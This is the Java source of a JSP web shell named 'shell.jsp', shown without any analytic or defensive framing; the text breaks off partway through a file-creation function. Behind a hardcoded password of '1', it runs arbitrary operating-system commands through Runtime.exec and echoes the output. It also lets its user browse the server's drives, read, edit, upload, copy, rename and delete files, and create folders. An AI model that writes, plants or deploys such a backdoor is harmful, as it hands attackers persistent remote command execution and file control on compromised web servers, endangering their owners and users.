shell.jsp

一般性的内容,可以生成和修改还在有其他的好友添加等等

<%@ page contentType="text/html; charset=GBK" %>
<%@ page import="java.io.*"%>
<%@ page import="java.util.Map"%>
<%@ page import="java.util.HashMap"%>
<%@ page import="java.nio.charset.Charset"%>
<%@ page import="java.util.regex.*"%>
<%@ page import="java.sql.*"%>
<%!
private String _password = "1";
private String _encodeType = "GB2312";
private int _sessionOutTime = 20;
private String[] _textFileTypes = {"txt", "htm", "html", "asp", "jsp", "java", "js", "css", "c", "cpp", "sh", "pl", "cgi", "php", "conf", "xml", "xsl", "ini", "vbs", "inc"};
private Connection _dbConnection = null;
private Statement _dbStatement = null;
private String _url = null;

public boolean validate(String password) {
	if (password.equals(_password)) {
		return true;
	} else {
		return false;
	}
}

public String HTMLEncode(String str) {
	str = str.replaceAll(" ", "&nbsp;");
	str = str.replaceAll("<", "&lt;");
	str = str.replaceAll(">", "&gt;");
	str = str.replaceAll("\r\n", "<br>");
	
	return str;
}

public String Unicode2GB(String str) {
	String sRet = null;
	
	try {
		sRet = new String(str.getBytes("ISO8859_1"), _encodeType);
	} catch (Exception e) {
		sRet = str;
	}
	
	return sRet;
}

public String exeCmd(String cmd) {
	Runtime runtime = Runtime.getRuntime();
	Process proc = null;
	String retStr = "";
	InputStreamReader insReader = null;
	char[] tmpBuffer = new char[1024];
	int nRet = 0;
	
	try {
		proc = runtime.exec(cmd);
		insReader = new InputStreamReader(proc.getInputStream(), Charset.forName("GB2312"));
		
		while ((nRet = insReader.read(tmpBuffer, 0, 1024)) != -1) {
			retStr += new String(tmpBuffer, 0, nRet);
		}
		
		insReader.close();
		retStr = HTMLEncode(retStr);
	} catch (Exception e) {
		retStr = "<font color=\"red\">bad command \"" + cmd + "\"</font>";
	} finally {
		return retStr;
	}
}

public String pathConvert(String path) {
	String sRet = path.replace('\\', '/');
	File file = new File(path);
	
	if (file.getParent() != null) {
		if (file.isDirectory()) {
			if (! sRet.endsWith("/"))
				sRet += "/";
		}
	} else {
		if (! sRet.endsWith("/"))
			sRet += "/";	
	}
	
	return sRet;
}

public String strCut(String str, int len) {
	String sRet;
	
	len -= 3;
	
	if (str.getBytes().length <= len) {
		sRet = str;
	} else {
		try {
			sRet = (new String(str.getBytes(), 0, len, "GBK")) + "...";
		} catch (Exception e) {
			sRet = str;
		}
	}
	
	return sRet;
}

public String listFiles(String path, String curUri) {
	File[] files = null;
	File curFile = null;
	String sRet = null;
	int n = 0;
	boolean isRoot = path.equals("");
	
	path = pathConvert(path);
	
	try {
		if (isRoot) {
			files = File.listRoots();
		} else {
			try {
				curFile = new File(path);
				String[] sFiles = curFile.list();
				files = new File[sFiles.length];
					
				for (n = 0; n < sFiles.length; n ++) {
					files[n] = new File(path + sFiles[n]);
				}
			} catch (Exception e) {
				sRet = "<font color=\"red\">bad path \"" + path + "\"</font>";
			}
		}
		
		if (sRet == null) {
			sRet = "\n";
			sRet += "<script language=\"javascript\">\n";
			sRet += "var selectedFile = null;\n";
			sRet += "<!--\n";
			sRet += "function createFolder() {\n";
			sRet += "	var folderName = prompt(\"请输入目录名\", \"\");\n";
			sRet += "	if (folderName != null && folderName != false && ltrim(folderName) != \"\") {\n";
			sRet += "		window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFolder&folderName=\" + folderName + \"" + "\";\n";
			sRet += "	}\n";
			sRet += "}\n";
			sRet += "\n";
			sRet += "function createFile() {\n";
			sRet += "	var fileName = prompt(\"请输入文件名\", \"\");\n";
			sRet += "	if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
			sRet += "		window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=createFile&fileName=\" + fileName + \"" + "\";\n";
			sRet += "	}\n";
			sRet += "}\n";
			sRet += "\n";
			sRet += "function selectFile(obj) {\n";
			sRet += "	if (selectedFile != null)\n";
			sRet += "		selectedFile.style.backgroundColor = \"#FFFFFF\";\n";
			sRet += "	selectedFile = obj;\n";
			sRet += "	obj.style.backgroundColor = \"#CCCCCC\";\n";
			sRet += "}\n";
			sRet += "\n";
			sRet += "function change(obj) {\n";
			sRet += "	if (selectedFile != obj)\n";
			sRet += "		obj.style.backgroundColor = \"#CCCCCC\";\n";
			sRet += "}\n";
			sRet += "\n";
			sRet += "function restore(obj) {\n";
			sRet += "	if (selectedFile != obj)\n";
			sRet += "		obj.style.backgroundColor = \"#FFFFFF\";\n";
			sRet += "}\n";
			sRet += "\n";
			sRet += "function showUpload() {\n";
			sRet += "	up.style.visibility = \"visible\";\n";
			sRet += "}\n";
			sRet += "\n";
			sRet += "function copyFile() {\n";
			sRet += "	var toPath = prompt(\"请输入要复制到的目录(绝对路径)\", \"\");\n";
			sRet += "	if (toPath != null && toPath != false && ltrim(toPath) != \"\") {\n";
			sRet += "		document.fileList.action = \"" + curUri + "&curPath=" + path + "&fsAction=copyto&dstPath=" + "\" + toPath;\n";
			sRet += "		document.fileList.submit();\n";
			sRet += "	}\n";
			sRet += "}\n";
			sRet += "\n";
			sRet += "function rename() {\n";
			sRet += "	var count = 0;\n";
			sRet += "	var selected = -1;\n";
			sRet += "	for (var i = 0; i < document.fileList.filesDelete.length; i ++) {\n";
			sRet += "		if (document.fileList.filesDelete[i].checked) {\n";
			sRet += "			count ++;\n";
			sRet += "			selected = i;\n";
			sRet += "		}\n";
			sRet += "	}\n";
			sRet += "	if (count > 1)\n";
			sRet += "		alert(\"不能重命名多个文件\");\n";
			sRet += "	else if (selected == -1)\n";
			sRet += "		alert(\"没有选中要重命名的文件\");\n";
			sRet += "	else {\n";
			sRet += "		var newName = prompt(\"请输入新文件名\", \"\");\n";
			sRet += "		if (newName != null && newName != false && ltrim(newName) != \"\") {\n";
			sRet += "			window.location.href = \"" + curUri + "&curPath=" + path + "&fsAction=rename&newName=\" + newName + \"&fileRename=\" + document.fileList.filesDelete[selected].value;";
			sRet += "		}\n";
			sRet += "	}\n";
			sRet += "}\n";
			sRet += "\n";
			sRet += "//-->\n";
			sRet += "</script>\n";
			sRet += "<table width=\"100%\" border=\"0\" cellpadding=\"2\" cellpadding=\"1\">\n";
			sRet += "	<form enctype=\"multipart/form-data\" method=\"post\" name=\"upload\" action=\"" + curUri + "&curPath=" + path + "&fsAction=upload" + "\">\n";
			
			if (curFile != null) {
				sRet += "	<tr>\n";
				sRet += "		<td colspan=\"4\" valign=\"middle\">\n";
				sRet += "			&nbsp;<a href=\"" + curUri + "&curPath=" + (curFile.getParent() == null ? "" : pathConvert(curFile.getParent())) + "\">上级目录</a>&nbsp;";
				sRet += "<a href=\"#\" onclick=\"javascript:createFolder()\">创建目录</a>&nbsp;";
				sRet += "<a href=\"#\" onclick=\"javascript:createFile()\">新建文件</a>&nbsp;";
				sRet += "<a href=\"#\" onclick=\"javascript:document.fileList.submit();\">删除</a>&nbsp;";
				sRet += "<a href=\"#\" onclick=\"javascript:copyFile()\">复制</a>&nbsp;";
				sRet += "<a href=\"#\" onclick=\"javascript:rename()\">重命名</a>&nbsp;";
				sRet += "<a href=\"#\" onclick=\"javascript:showUpload()\">上传文件</a>\n";
				sRet += "<span style=\"visibility: hidden\" id=\"up\"><input type=\"file\" value=\"上传\" name=\"upFile\" size=\"8\" class=\"textbox\" />&nbsp;<input type=\"submit\" value=\"上传\" class=\"button\"></span>\n";
				sRet += "		</td>\n";
				sRet += "	</tr>\n";
			}
			
			sRet += "</form>\n";
			
			sRet += "	<form name=\"fileList\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=deleteFile" + "\">\n";
			
			for (n = 0; n < files.length; n ++) {
				sRet += "	<tr onclick=\"javascript: selectFile(this)\" onmouseover=\"javascript: change(this)\" onmouseout=\"javascript: restore(this)\" style=\"cursor:hand;\">\n";
				
				if (! isRoot) {
					sRet += "		<td width=\"5%\" align=\"center\"><input type=\"checkbox\" name=\"filesDelete\" value=\"" + pathConvert(files[n].getPath()) + "\" /></td>\n";
					if (files[n].isDirectory()) {
						sRet += "		<td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">&lt;" + strCut(files[n].getName(), 50) + "&gt;</a></td>\n";
					} else {
						sRet += "		<td><a title=\"" + files[n].getName() + "\">" + strCut(files[n].getName(), 50) + "</a></td>\n";
					}
					
					sRet += "		<td width=\"15%\" align=\"center\">" + (files[n].isDirectory() ? "&lt;dir&gt;" : "") + ((! files[n].isDirectory()) && isTextFile(getExtName(files[n].getPath())) ? "<<a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "&fsAction=open" + "\">edit</a>>" : "") + "</td>\n";
					sRet += "		<td width=\"15%\" align=\"center\">" + files[n].length() + "</td>\n";
				} else {
					sRet += "		<td><a href=\"" + curUri + "&curPath=" + pathConvert(files[n].getPath()) + "\" title=\"" + files[n].getName() + "\">" + pathConvert(files[n].getPath()) + "</a></td>\n";
				}
	
				sRet += "	</tr>\n";
			}
			sRet += "	</form>\n";
			sRet += "</table>\n";
		}
	} catch (SecurityException e) {
		sRet = "<font color=\"red\">security violation, no privilege.</font>";
	}
	
	return sRet;
}

public boolean isTextFile(String extName) {
	int i;
	boolean bRet = false;
	
	if (! extName.equals("")) {
		for (i = 0; i < _textFileTypes.length; i ++) {
			if (extName.equals(_textFileTypes[i])) {
				bRet = true;
				break;
			}
		}
	} else {
		bRet = true;
	}
	
	return bRet;
}

public String getExtName(String fileName) {
	String sRet = "";
	int	nLastDotPos;
	
	fileName = pathConvert(fileName);
	
	nLastDotPos = fileName.lastIndexOf(".");
	
	if (nLastDotPos == -1) {
		sRet = "";
	} else {
		sRet = fileName.substring(nLastDotPos + 1);
	}
	
	return sRet;
}

public String browseFile(String path) {
	String sRet = "";
	File file = null;
	FileReader fileReader = null;
	
	path = pathConvert(path);
	
	try {
		file = new File(path);
		fileReader = new FileReader(file);
		String fileString = "";
		char[] chBuffer = new char[1024];
		int ret;
		
		sRet = "<script language=\"javascript\">\n";
		
		while ((ret = fileReader.read(chBuffer, 0, 1024)) != -1) {
			fileString += new String(chBuffer, 0, ret);
		}
		
		sRet += "var wnd = window.open(\"about:blank\", \"_blank\", \"width=600, height=500\");\n";
		sRet += "var doc = wnd.document;\n";
		sRet += "doc.write(\"" + "aaa" + "\");\n";
		
		sRet += "</script>\n";
		
	} catch (IOException e) {
		sRet += "<script language=\"javascript\">\n";
		sRet += "alert(\"打开文件" + path + "失败\");\n";
		sRet += "</script>\n";
	}
	
	return sRet;
}

public String openFile(String path, String curUri) {
	String sRet = "";
	boolean canOpen = false;
	int nLastDotPos = path.lastIndexOf(".");
	String extName = "";
	String fileString = null;
	File curFile = null;
	
	path = pathConvert(path);
	
	if (nLastDotPos == -1) {
		canOpen = true;
	} else {
		extName = path.substring(nLastDotPos + 1);
		canOpen = isTextFile(extName);
	}
	
	if (canOpen) {
		try {
			fileString = "";
			curFile = new File(path);
			FileReader fileReader = new FileReader(curFile);
			char[] chBuffer = new char[1024];
			int nRet;
			
			while ((nRet = fileReader.read(chBuffer, 0, 1024)) != -1) {
				fileString += new String(chBuffer, 0, nRet);
			}
			
			fileReader.close();
		} catch (IOException e) {
			fileString = null;
			sRet = "<font color=\"red\">不能打开文件\"" + path + "\"</font>";
		} catch (SecurityException e) {
			fileString = null;
			sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
		}
	} else {
		sRet = "<font color=\"red\">file \"" + path + "\" is not a text file, can't be opened in text mode</font>";
	}
	
	if (fileString != null) {
		sRet += "<script language=\"javascript\">";
		sRet += "<!--\n";
		sRet += "function saveAs() {\n";
		sRet += "	var fileName = prompt(\"请输入文件名\", \"\");\n";
		sRet += "	if (fileName != null && fileName != false && ltrim(fileName) != \"\") {\n";
		sRet += "		document.openfile.action=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\" + fileName + \"&fsAction=saveAs\";\n";
		sRet += "		document.openfile.submit();\n";
		sRet += "	}\n";
		sRet += "}\n";
		sRet += "//-->\n";
		sRet += "</script>\n";
		sRet += "<table align=\"center\" width=\"100%\" cellpadding=\"2\" cellspacing=\"1\">\n";
		sRet += "	<form name=\"openfile\" method=\"post\" action=\"" + curUri + "&curPath=" + path + "&fsAction=save" + "\">\n";
		sRet += "	<tr>\n";
		sRet += "		<td>[<a href=\"" + curUri + "&curPath=" + pathConvert(curFile.getParent()) + "\">上级目录</a>]</td>\n";
		sRet += "	</tr>\n";
		sRet += "	<tr>\n";
		sRet += "		<td align=\"center\">\n";
		sRet += "			<textarea name=\"fileContent\" cols=\"80\" rows=\"32\">\n";
		sRet += fileString;
		sRet += "			</textarea>\n";
		sRet += "		</td>\n";
		sRet += "	</tr>\n";
		sRet += "	<tr>\n";
		sRet += "		<td align=\"center\"><input type=\"submit\" class=\"button\" value=\"保存\" />&nbsp;<input type=\"button\" class=\"button\" value=\"另存为\" onclick=\"javascript:saveAs()\" /></td>\n";
		sRet += "	</tr>\n";
		sRet += "	</form>\n";
		sRet += "</table>\n";
	}
	
	return sRet;
}

public String saveFile(String path, String curUri, String fileContent) {
	String sRet = "";
	File file = null;
	
	path = pathConvert(path);
	
	try {
		file = new File(path);
		
		if (! file.canWrite()) {
			sRet = "<font color=\"red\">文件不可写</font>";
		} else {
			FileWriter fileWriter = new FileWriter(file);
			fileWriter.write(fileContent);
			
			fileWriter.close();
			sRet = "文件保存成功，正在返回，请稍候……\n";
			sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + "&fsAction=open" + "\" />\n";	
		}
	} catch (IOException e) {
		sRet = "<font color=\"red\">保存文件失败</font>";
	} catch (SecurityException e) {
		sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
	}
	
	return sRet;
}

public String createFolder(String path, String curUri, String folderName) {
	String sRet = "";
	File folder = null;
	
	path = pathConvert(path);
	
	try {
		folder = new File(path + folderName);
		
		if (folder.exists() && folder.isDirectory()) {
			sRet = "<font color=\"red\">\"" + path + folderName + "\"目录已经存在</font>";
		} else {
			if (folder.mkdir()) {
				sRet = "成功创建目录\"" + pathConvert(folder.getPath()) + "\"，正在返回，请稍候……\n";
					sRet += "<meta http-equiv=\"refresh\" content=\"2;url=" + curUri + "&curPath=" + path + folderName + "\" />";
			} else {
				sRet = "<font color=\"red\">创建目录\"" + folderName + "\"失败</font>";
			}
		}
	} catch (SecurityException e) {
		sRet = "<font color=\"red\">安全问题，没有权限执行该操作</font>";
	}
	
	return sRet;
}

public String createFile(String path, String curUri, String fileName) {